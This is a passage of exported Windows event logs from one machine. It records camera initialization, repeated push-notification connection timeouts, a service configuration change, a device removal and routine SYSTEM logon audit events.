StartUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:31:38.252\t215\tStart of PowerIrpCompletion\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:31:38.252\t220\tPowerIrp_CheckingPLFRegistry\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:31:38.252\t216\tStop of PowerIrpCompletion\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:31:38.253\t218\tFilterIrp Completed\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:31:38.253\t218\tFilterIrp Completed\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:31:38.253\t230\tPowerIrp_PassiveWakeupCompleted\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:31:38.255\t12\tFrameServer WatchdogTimer Stop Event, TimerScope: FSSource, TimerScopeId: 0, WatchdogOperation: Initialize, DurationToCompletionInHns: 645183.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.255\t50\tCamera DeviceMFT InitializeTransform, SymbolicLink: \\\\?\\USB#VID_5858&PID_1004&MI_00#6&55f168&0&0000#{e5323777-f976-4f5b-9b55-b94699c46e44}\\global\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_DeviceMFT\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.256\t11\t\"FrameServer WatchdogTimer Start Event, TimerScope: FSSource, TimerScopeId: 0, WatchdogOperation: Initialize, DurationToTriggerInHns: 299354649, \nSymbolicLink: \\\\?\\USB#VID_5858&PID_1004&MI_00#6&55f168&0&0000#{e5323777-f976-4f5b-9b55-b94699c46e44}\\global.\"\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.256\t12\tFrameServer WatchdogTimer Stop Event, TimerScope: FSSource, TimerScopeId: 0, WatchdogOperation: Initialize, DurationToCompletionInHns: 6201.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.256\t11\t\"FrameServer WatchdogTimer Start Event, TimerScope: FSSource, TimerScopeId: 0, WatchdogOperation: Initialize, DurationToTriggerInHns: 299348375, \nSymbolicLink: \\\\?\\USB#VID_5858&PID_1004&MI_00#6&55f168&0&0000#{e5323777-f976-4f5b-9b55-b94699c46e44}\\global.\"\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.256\t12\tFrameServer WatchdogTimer Stop Event, TimerScope: FSSource, TimerScopeId: 0, WatchdogOperation: Initialize, DurationToCompletionInHns: 1817.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.256\t51\tCamera DeviceMFT InitializeTransform, hr: 0x0\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_DeviceMFT\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.268\t22\tFrameServer_FSSourceMediaSource_SetWorkQueue Event, StreamObject: 0x18b6c1c5d60, WorkQueueId: 327681, Priority: 0, MediaStreamCount: 1.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.268\t20\tFrameServer_FSSourceMediaStream_SetWorkQueue Event, StreamObject: 0x18b6c177950, WorkQueueId: 327681, Priority: 0.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.272\t7\tFrameServer FsProxy Initialization Stop, SymbolicLink: \\\\?\\usb#vid_5858&pid_1004&mi_00#6&55f168&0&0000#{65e8773d-8f56-11d0-a3b9-00a0c9223196}\\global, Devices: 1, Streams: 1, StreamType: MASTER, hr: 0x0.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.273\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:38.273\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:38.275\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:38.275\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:38.287\t2\tFrameServer FsProxy SetOutputType Start, PinId: 0, MediaType: FrameSize=5497558139600 (1280,720),MajorType={73646976-0000-0010-8000-00AA00389B71},FrameRate=128849018881 (30,1),PixelAspectRatio=4294967297 (1,1),InterlacedMode=2,Subtype={3231564E-0000-0010-8000-00AA00389B71}.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.287\t3\tFrameServer FsProxy SetOutputType Stop, hr=0x0.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.306\t200\tStart of PowerUpDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:31:38.306\t201\tStop of PowerUpDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:31:47.047\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:47.047\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:47.047\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:47.054\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:57.332\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:57.347\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:57.347\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:06.129\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:06.129\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:06.137\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:06.137\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:14.906\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:14.906\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:14.906\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:14.917\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:16.594\t1002\tError 0x80070005 occurred while verifying known folder {a520a1a4-1780-4ff6-bd18-167343c5af16} with path 'C:\\Users\\admin\\AppData\\Local\\Packages\\cr.sb.odm3E4D1A088C1F6D498C84F3C86DE73CE49F82A104\\AC'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:32:21.002\t1\tAccess to the a resource has been denied for a less privileged app container at \u200e2026\u200e-\u200e09\u200e-\u200e05T01:32:21.002306800Z (StackHash: 0xF4411927).\tError\tMicrosoft-Windows-Security-LessPrivilegedAppContainer/Operational\tMicrosoft-Windows-Security-LessPrivilegedAppContainer\n05.09.2026 08:32:21.002\t1\tAccess to the a resource has been denied for a less privileged app container at \u200e2026\u200e-\u200e09\u200e-\u200e05T01:32:21.002765700Z (StackHash: 0xF4411927).\tError\tMicrosoft-Windows-Security-LessPrivilegedAppContainer/Operational\tMicrosoft-Windows-Security-LessPrivilegedAppContainer\n05.09.2026 08:32:21.943\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"23528CA76A0\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:32:21.953\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:32:22.338\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"23528CA76A0\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:32:22.341\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:32:32.772\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:32.775\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:32.775\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:33.141\t7040\tThe start type of the \u0424\u043e\u043d\u043e\u0432\u0430\u044f \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 (BITS) service was changed from \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 to \u0412\u0440\u0443\u0447\u043d\u0443\u044e.\tInformation\tSystem\tService Control Manager\n05.09.2026 08:32:33.157\t114\tRemoved URL (http://*:2869/upnp/eventing/) from URL group (0xFA00000C20000001). Process Id 0x3DA0 Executable path \\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe, User S-1-5-19\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:32:38.751\t1010\t\"Device USB\\VID_22D9&PID_2769\\3B15AW01DRA00000 has been surprise removed as it is reported as missing on the bus.\nCount of devices removed: 1\"\tInformation\tMicrosoft-Windows-Kernel-PnP/Device Management\tMicrosoft-Windows-Kernel-PnP\n05.09.2026 08:32:39.357\t1001\tDevice will enter the suspend state if idle for 30 seconds.\tInformation\tMicrosoft-Windows-WPD-MTPClassDriver/Operational\tMicrosoft-Windows-WPD-MTPClassDriver\n05.09.2026 08:32:39.373\t1000\tMTP Driver started successfully.\tInformation\tMicrosoft-Windows-WPD-MTPClassDriver/Operational\tMicrosoft-Windows-WPD-MTPClassDriver\n05.09.2026 08:32:39.373\t1003\tDevice is resuming operation from idle state (Idle state: 4; Return code: 0x0).\tInformation\tMicrosoft-Windows-WPD-MTPClassDriver/Operational\tMicrosoft-Windows-WPD-MTPClassDriver\n05.09.2026 08:32:39.376\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:32:39.377\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:32:40.377\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"23528CA76A0\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:32:40.381\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"explorer\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:32:41.543\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:41.543\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:41.629\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:41.629\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:50.399\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:50.399\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:50.399\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:50.405\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:57.359\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"23528CA76A0\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:32:57.364\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:32:59.000\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:59.000\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:59.000\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:59.007\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:59.013\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:59.025\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:59.026\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:59.026\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:59.026\t8001\t\"Skipping license manager: PFN Microsoft.WindowsFeedbackHub_2.2606.702.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:32:59.027\t8001\t\"Skipping license manager: PFN Microsoft.WindowsFeedbackHub_2.2606.702.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:33:03.739\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:33:03.739\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:33:03.910\t2416\tA local notification was received from Windows.Defender.SecurityCenter [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:03.912\t2418\tA local notification was submitted to threadpool: Windows.Defender.SecurityCenter [AppUserModelId] toast [NotificationType] 9397 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:03.913\t3052\tToast with notification tracking id 9397 is being delivered to Windows.Defender.SecurityCenter on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:03.913\t3153\tToast with notification tracking id 9397 is delivered to Windows.Defender.SecurityCenter on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:03.916\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:04.207\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:05.145\t24\t\"Stream started.\nApp Id: Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!App\nPID: 13180\nAudio Stream Category: 5\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 08:33:06.481\t25\t\"Stream stopped.\nApp Id: Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!App\nPID: 13180\nAudio Stream Category: 5\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 08:33:07.794\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:07.794\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:07.795\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:07.795\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:16.566\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:16.566\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:16.566\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:16.575\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:34.144\t171\tThe reader was created successfully for app package Microsoft.SecHealthUI_1000.29628.1000.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppxPackaging/Operational\tMicrosoft-Windows-AppxPackagingOM\n05.09.2026 08:33:46.765\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:46.766\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 